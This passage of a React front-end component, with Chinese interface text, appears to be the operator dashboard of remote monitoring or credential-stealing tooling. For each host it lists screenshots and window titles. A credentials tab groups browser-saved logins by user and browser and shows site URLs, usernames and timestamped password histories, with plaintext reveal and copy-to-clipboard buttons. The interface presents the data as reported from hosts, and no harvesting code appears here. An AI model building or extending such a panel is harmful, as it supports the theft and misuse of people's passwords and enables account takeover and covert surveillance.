                      <div className="flex items-center justify-between mb-2">
                        <div className="text-sm font-medium text-gray-900 dark:text-white">
                          {formatDate(record.timestamp, 'short')}
                        </div>
                        <button
                          onClick={() => toggleRecordStar(record.id)}
                          disabled={updatingStars.has(record.id)}
                          className="text-yellow-500 hover:text-yellow-600 p-1"
                        >
                          {updatingStars.has(record.id) ? (
                            <Loader2 className="h-4 w-4 animate-spin" />
                          ) : (
                            <Star className="h-4 w-4 fill-current" />
                          )}
                        </button>
                      </div>

                      <div className="text-xs text-gray-500 dark:text-gray-400 mb-2">
                        {record.screenshots.length} 个截图 • {record.windows.length} 个窗口
                      </div>

                      {/* 窗口预览 */}
                      {record.windows.length > 0 && (
                        <div className="text-xs text-gray-600 dark:text-gray-400 truncate">
                          主要窗口: {record.windows[0].title}
                        </div>
                      )}

                      {/* 查看按钮 */}
                      <button
                        onClick={() => {
                          setActiveTab('screenshots');
                          setSelectedRecord(record);
                        }}
                        className="mt-3 w-full px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-xs rounded focus:outline-none"
                      >
                        查看详情
                      </button>
                    </div>
                  </div>
                ))}
              </div>
            )}
          </div>
        )}

        {/* 凭据信息选项卡 */}
        {activeTab === 'credentials' && (
          <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
            <div className="flex items-center justify-between mb-6">
              <h2 className="text-xl font-medium text-gray-900 dark:text-white">凭据信息</h2>
              <div className="flex space-x-2">
                <button
                  onClick={fetchCredentials}
                  className="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center"
                >
                  <RefreshCcw className={`h-4 w-4 mr-1 ${loadingCredentials ? 'animate-spin' : ''}`} />
                  刷新
                </button>
              </div>
            </div>

            {/* 加载状态 */}
            {loadingCredentials ? (
              <div className="flex justify-center py-12">
                <div className="animate-pulse flex flex-col items-center">
                  <Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
                  <p className="mt-2 text-gray-500 dark:text-gray-400">加载凭据信息...</p>
                </div>
              </div>
            ) : credentialsByUser.length === 0 ? (
              <div className="py-12 flex flex-col items-center justify-center">
                <ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
                <p className="text-gray-500 dark:text-gray-400 mb-1">没有找到任何凭据信息</p>
                <p className="text-sm text-gray-400 dark:text-gray-500">可能是该主机尚未上报凭据数据</p>
              </div>
            ) : (
              <div className="space-y-6">
                {credentialsByUser.map((userGroup, index) => (
                  <div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
                    {/* 用户信息头部 */}
                    <div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
                      <div className="flex items-center justify-between">
                        <div
                          className="flex items-center cursor-pointer"
                          onClick={() => toggleUserExpanded(userGroup.username)}
                        >
                          <User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
                          <h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
                          <div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
                            ({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据)
                          </div>
                          <div className="ml-2 text-xs text-gray-400 dark:text-gray-500">
                            {userGroup.lastSyncTime ? `最后同步: ${formatDate(userGroup.lastSyncTime, 'short')}` : '未同步'}
                          </div>
                        </div>
                      </div>
                    </div>

                    {/* 用户凭据内容 */}
                    {expandedUsers.includes(userGroup.username) && (
                      <div className="divide-y divide-gray-100 dark:divide-gray-600">
                        {userGroup.browsers.map((browser) => (
                          <div
                            key={`${userGroup.username}-${browser.name}`}
                            className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
                          >
                            {/* 浏览器标题 */}
                            <div
                              className="flex items-center mb-2 cursor-pointer"
                              onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
                            >
                              <div className="flex items-center">
                                <Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
                                <span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
                                <span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
                                  ({browser.credentials.length} 个站点)
                                </span>
                              </div>
                              <ChevronDown
                                className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
                                  }`}
                              />
                            </div>

                            {/* 浏览器凭据列表 */}
                            {expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && (
                              <div className="pl-6 space-y-3 mt-2">
                                {browser.credentials.map((cred) => (
                                  <div
                                    key={`${userGroup.username}-${browser.name}-${cred._id}`}
                                    className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
                                  >
                                    {/* 凭据网站头部 */}
                                    <div
                                      className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
                                      onClick={() => toggleCredentialExpanded(cred._id)}
                                    >
                                      <div className="flex items-center">
                                        <Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
                                        <div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
                                          {cred.url}
                                        </div>
                                      </div>
                                      <ChevronDown
                                        className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
                                          }`}
                                      />
                                    </div>

                                    {/* 凭据详情 */}
                                    {expandedCredentials.includes(cred._id) && (
                                      <div className="bg-white dark:bg-gray-800 px-3 py-2">
                                        <div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
                                          <div className="flex items-center">
                                            <span className="text-sm text-gray-500 dark:text-gray-400 w-16">用户名:</span>
                                            <span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
                                          </div>

                                          <div className="flex flex-col">
                                            <div className="flex items-center mb-1">
                                              <span className="text-sm text-gray-500 dark:text-gray-400 w-16">密码历史:</span>
                                              <span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
                                                {cred.passwords.length} 条记录
                                              </span>
                                            </div>

                                            <div className="pl-6 space-y-2 mt-1">
                                              {cred.passwords.map((pwd, pwdIndex) => (
                                                <div
                                                  key={pwdIndex}
                                                  className="flex items-center group relative"
                                                >
                                                  <span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
                                                    {formatDate(pwd.timestamp, 'short')}
                                                  </span>
                                                  <div className="flex-1 flex items-center">
                                                    <span
                                                      className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
                                                      onClick={() =>
                                                        revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
                                                          ? null
                                                          : revealPassword(`${cred._id}-${pwdIndex}`)
                                                      }
                                                    >
                                                      {revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
                                                        ? pwd.value
                                                        : '••••••••'
                                                      }
                                                    </span>
                                                    <button
                                                      onClick={() => copyToClipboard(pwd.value)}
                                                      className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
                                                    >
                                                      <Clipboard className="h-4 w-4" />
                                                    </button>
                                                  </div>
                                                </div>
                                              ))}
                                            </div>
                                          </div>
                                        </div>
                                      </div>
                                    )}
                                  </div>
                                ))}
                              </div>
                            )}
                          </div>
                        ))}
                      </div>
                    )}
                  </div>
                ))}
              </div>
            )}
          </div>
        )}
      </div>
    </div>
  );
}
